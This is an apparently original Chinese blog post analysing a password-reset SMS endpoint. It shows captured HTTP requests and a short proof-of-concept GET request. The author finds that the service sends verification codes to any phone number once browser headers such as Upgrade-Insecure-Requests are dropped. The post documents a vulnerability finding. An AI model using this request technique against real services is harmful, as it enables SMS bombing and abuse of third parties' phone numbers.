当前位置：首页 > news >正文

记一次发短信接口分析

news 来源：原创 2025/5/14 0:23:55

忘记密码接口

数据包

GET /api/weatherforcast/user/send/17777777777 HTTP/2
Host: 
Cookie: SECKEY_ABVK=d1GnERPt+EFYSs7fL9W7VzoxAG0rjit7K8hAiMGIySpo522W+ig70mdKRZQlv+XNuqUTh9sBTWXG6XJ7miFZtA%3D%3D; Hm_lvt_018467e59f9d76a72cdbed870456819b=1742445251,1742456927,1742550805; HMACCOUNT=D0BBCA412609943D; Hm_lpvt_018467e59f9d76a72cdbed870456819b=1742552888
Sec-Ch-Ua-Platform: "Windows"
Timestamp: 1742552915092
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0
Accept: application/json, text/plain, */*
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Microsoft Edge";v="134"
Token: VQiBDoroJipLF+sq+N93fg==
Sec-Ch-Ua-Mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://IP/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Priority: u=1, i

发送成功

这里是一个get请求去给手机号发验证码

想着是不是直接拼接路径也可以发送验证码

报错500

查看数据包

GET /api/weatherforcast/user/send/18888888888 HTTP/2
Host: 
Cookie: SECKEY_ABVK=d1GnERPt+EFYSs7fL9W7VzoxAG0rjit7K8hAiMGIySpo522W+ig70mdKRZQlv+XNuqUTh9sBTWXG6XJ7miFZtA%3D%3D; Hm_lvt_018467e59f9d76a72cdbed870456819b=1742445251,1742456927,1742550805; HMACCOUNT=D0BBCA412609943D; Hm_lpvt_018467e59f9d76a72cdbed870456819b=1742552888
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Microsoft Edge";v="134"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Priority: u=0, i

发送不成功是因为里面有脏数据被验证了

POC

GET /api/weatherforcast/user/send/18888888888 HTTP/2
Host: 
Content-Length: 2

其实只需要GET对接口发起请求就行

发送成功

后来对两个数据包做了仔细的对比和尝试发现删掉Upgrade-Insecure-Requests: 1就可以了，可能是第二个验证到时浏览器发起的请求，如果不加这些请求头就可以了

Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0